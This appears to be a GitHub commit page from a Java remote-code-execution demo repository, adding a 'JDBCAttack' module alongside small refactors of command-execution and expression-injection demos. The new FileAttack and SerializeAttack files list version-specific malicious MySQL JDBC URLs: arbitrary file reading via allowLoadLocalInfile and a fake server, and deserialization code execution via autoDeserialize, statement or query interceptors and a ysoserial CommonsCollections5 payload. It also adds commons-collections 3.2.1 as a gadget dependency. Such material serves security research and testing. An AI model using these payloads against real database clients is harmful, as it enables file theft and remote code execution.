Skip to content

Commit d948629

Browse files
WhoopsunixWhoopsunix
committed
add JDBC Attack mysql :)
1 parent b81eb44 commit d948629

11 files changed

Lines changed: 212 additions & 51 deletions

File tree

‎Command/pom.xml‎

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,11 +35,9 @@
3535
<artifactId>guava</artifactId>
3636
<version>23.0</version>
3737
</dependency>
38+
</dependencies>
3839

3940

40-
41-
42-
</dependencies>
4341
<build>
4442
<plugins>
4543
<plugin>

‎Command/src/main/java/org/command/exec/RuntimeDemo.java‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,9 @@ public static InputStream exec(String str) throws Exception {
2626
public static void main(String[] args) throws Exception {
2727
InputStream inputStream = exec("ifconfig -a");
2828
ExecResultGet execResultGet = new ExecResultGet();
29-
System.out.println(execResultGet.stringBuilder(inputStream));
29+
// System.out.println(execResultGet.stringBuilder(inputStream));
3030
// System.out.println(execResultGet.byteArrayOutputStream(inputStream));
31-
// System.out.println(execResultGet.scanner(inputStream));
31+
System.out.println(execResultGet.scanner(inputStream));
3232
// System.out.println(execResultGet.bufferedReader(inputStream));
3333
// System.out.println(execResultGet.bufferedReader2(inputStream));
3434
// System.out.println(execResultGet.readNBytes(inputStream));

‎Command/src/main/java/org/command/exec/ScriptEngineManagerDemo.java‎

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,5 @@
11
package org.command.exec;
22

3-
import org.command.resultGet.ExecResultGet;
4-
53
import javax.script.ScriptEngine;
64
import javax.script.ScriptEngineManager;
75
import java.io.InputStream;

‎Command/src/main/java/org/command/exec/jni/JniCmdDemo.java‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,15 +42,16 @@ protected Class<?> findClass(String name) throws ClassNotFoundException {
4242
/**
4343
* 替换lib路径
4444
*/
45-
File libPath = new File("/Users/ppp/Documents/pppRepository/github_file/JavaRceDemo/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib");
45+
// 获取项目目录
46+
File libPath = new File(System.getProperty("user.dir") + "/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib");
4647

4748
/**
4849
* load命令执行类
4950
*/
5051
Class<?> commandClass = loader.loadClass(COMMAND_CLASS_NAME);
5152

5253
// 可以用System.load也加载lib也可以用反射ClassLoader加载,如果loadLibrary0被拦截了可以换java.lang.ClassLoader$NativeLibrary类的load方法
53-
// System.load("/Users/ppp/Documents/dev/PPPVULNS/Myana/vulSpringboot/src/main/java/com/whoopsunix/vul/exec/jni/com/whoopsunix/vul/exec/jni/libcmd.jnilib");
54+
// System.load(libPath.getAbsolutePath());
5455
Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
5556
loadLibrary0Method.setAccessible(true);
5657
loadLibrary0Method.invoke(loader, commandClass, libPath);

‎Command/src/main/java/org/command/resultGet/ExecResultGet.java‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,10 @@
33

44
import com.google.common.io.CharStreams;
55

6-
import java.io.*;
6+
import java.io.BufferedReader;
7+
import java.io.ByteArrayOutputStream;
8+
import java.io.InputStream;
9+
import java.io.InputStreamReader;
710
import java.util.Scanner;
811
import java.util.stream.Collectors;
912

‎Expression/pom.xml‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,22 @@
3535
<version>4.3.16.RELEASE</version>
3636
</dependency>
3737

38+
<!-- EL -->
39+
<dependency>
40+
<groupId>javax.servlet</groupId>
41+
<artifactId>servlet-api</artifactId>
42+
<version>2.5</version>
43+
</dependency>
44+
<!-- 考虑到实际使用更多的是引用的 servlet-api ，避免漏掉可能的调用-->
45+
<!-- &lt;!&ndash; https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-el-api &ndash;&gt;-->
46+
<!-- <dependency>-->
47+
<!-- <groupId>org.apache.tomcat</groupId>-->
48+
<!-- <artifactId>tomcat-el-api</artifactId>-->
49+
<!-- <version>8.5.82</version>-->
50+
<!-- </dependency>-->
51+
52+
53+
3854
<!-- Inputstream -->
3955
<dependency>
4056
<groupId>org.springframework</groupId>
@@ -55,6 +71,8 @@
5571
</dependency>
5672

5773

74+
75+
5876
</dependencies>
5977

6078
<build>

‎Expression/src/main/java/org/expression/OGNL.java‎

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
import ognl.Ognl;
44
import ognl.OgnlContext;
55

6-
import java.io.BufferedInputStream;
7-
86
/**
97
* @author Whoopsunix
108
*/
@@ -55,10 +53,6 @@ public static void main(String[] args) {
5553
// // 用 IOUtils 实现
5654
// String base64EncodeIOUtils = "(#str=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream(),'UTF-8')).(#base64=@java.util.Base64@getEncoder().encodeToString(#str.getBytes()))";
5755

58-
59-
60-
61-
6256
}
6357

6458
/**

‎JDBCAttack/pom.xml‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>org.example</groupId>
6+
<artifactId>JDBCAttack</artifactId>
7+
<version>1.0-SNAPSHOT</version>
8+
<packaging>jar</packaging>
9+
10+
<name>JDBCAttack</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>mysql</groupId>
19+
<artifactId>mysql-connector-java</artifactId>
20+
<!-- <version>3.1.11</version>-->
21+
<!-- <version>5.1.19</version>-->
22+
<!-- <version>6.0.6</version>-->
23+
<version>8.0.19</version>
24+
</dependency>
25+
26+
<dependency>
27+
<groupId>commons-collections</groupId>
28+
<artifactId>commons-collections</artifactId>
29+
<version>3.2.1</version>
30+
</dependency>
31+
</dependencies>
32+
33+
<build>
34+
<plugins>
35+
<plugin>
36+
<groupId>org.springframework.boot</groupId>
37+
<artifactId>spring-boot-maven-plugin</artifactId>
38+
</plugin>
39+
<plugin>
40+
<groupId>org.apache.maven.plugins</groupId>
41+
<artifactId>maven-compiler-plugin</artifactId>
42+
<version>3.8.1</version>
43+
<configuration>
44+
<source>1.8</source>
45+
<target>1.8</target>
46+
</configuration>
47+
</plugin>
48+
</plugins>
49+
</build>
50+
</project>

‎JDBCAttack/src/main/java/org/example/mysql/FileAttack.java‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package org.example.mysql;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* 文件读取
8+
* mysql https://mvnrepository.com/artifact/mysql/mysql-connector-java
9+
* 复现使用 https://github.com/fnmsd/MySQL_Fake_Server
10+
*
11+
* @author Whoopsunix
12+
*/
13+
public class FileAttack {
14+
public static void main(String[] args) throws Exception {
15+
/**
16+
* [3.1.11, 3.1.14]
17+
*/
18+
String fileReadAttackUrl_3 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&user=fileread_/tmp/flag.txt";
19+
20+
/**
21+
* [5.0.2, 5.1.48]
22+
*/
23+
String fileReadAttackUrl_5 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&user=fileread_/tmp/flag.txt";
24+
25+
/**
26+
* [6.0.2, 6.0.6]
27+
*/
28+
String fileReadAttackUrl_6 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&user=fileread_/tmp/flag.txt";
29+
30+
/**
31+
* [8.0.7-dmr,8.0.23]
32+
*/
33+
String fileReadAttackUrl_8_7_23 = "jdbc:mysql://127.0.0.1:3306/test?&allowLoadLocalInfile=true&user=fileread_/tmp/flag.txt";
34+
35+
// 低版本需要加载
36+
String driver = "com.mysql.jdbc.Driver";
37+
Class.forName(driver);
38+
39+
String test = "jdbc:mysql://127.0.0.1:3306/test?&allowLoadLocalInfile=true&user=fileread_/tmp/flag.txt";
40+
41+
Connection connection = DriverManager.getConnection(fileReadAttackUrl_8_7_23);
42+
}
43+
44+
}

‎JDBCAttack/src/main/java/org/example/mysql/SerializeAttack.java‎

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package org.example.mysql;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* 反序列化
8+
* mysql https://mvnrepository.com/artifact/mysql/mysql-connector-java
9+
* 复现使用 https://github.com/fnmsd/MySQL_Fake_Server
10+
*
11+
* @author Whoopsunix
12+
*/
13+
public class SerializeAttack {
14+
public static void main(String[] args) throws Exception {
15+
/**
16+
* [5.1.11, 5.1.48]
17+
* 使用 statementInterceptors 参数
18+
*/
19+
String serializeAttackUrl_5_11_48 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app";
20+
21+
/**
22+
* [5.1.19, 5.1.28]
23+
*/
24+
String serializeAttackUrl_5_19_28 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&autoDeserialize=true&user=yso_CommonsCollections5_open -a Calculator.app";
25+
26+
/**
27+
* [5.1.29, 5.1.40]
28+
* detectCustomCollations 触发
29+
*/
30+
String serializeAttackUrl_5_29_40 = "jdbc:mysql://127.0.0.1:3306/test?maxAllowedPacket=655360&detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections5_open -a Calculator.app";
31+
32+
/**
33+
* [6.0.2, 6.0.6]
34+
* statementInterceptors
35+
*/
36+
String serializeAttackUrl_6 = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app";
37+
38+
/**
39+
* [8.0.7-dmr,8.0.19]
40+
* statementInterceptors
41+
*/
42+
String serializeAttackUrl_8_7_19 = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app";
43+
44+
45+
// 低版本需要加载
46+
// String driver = "com.mysql.jdbc.Driver";
47+
// Class.forName(driver);
48+
49+
50+
Connection connection = DriverManager.getConnection(serializeAttackUrl_8_7_19);
51+
52+
53+
}
54+
55+
}

0 commit comments

Comments
 (0)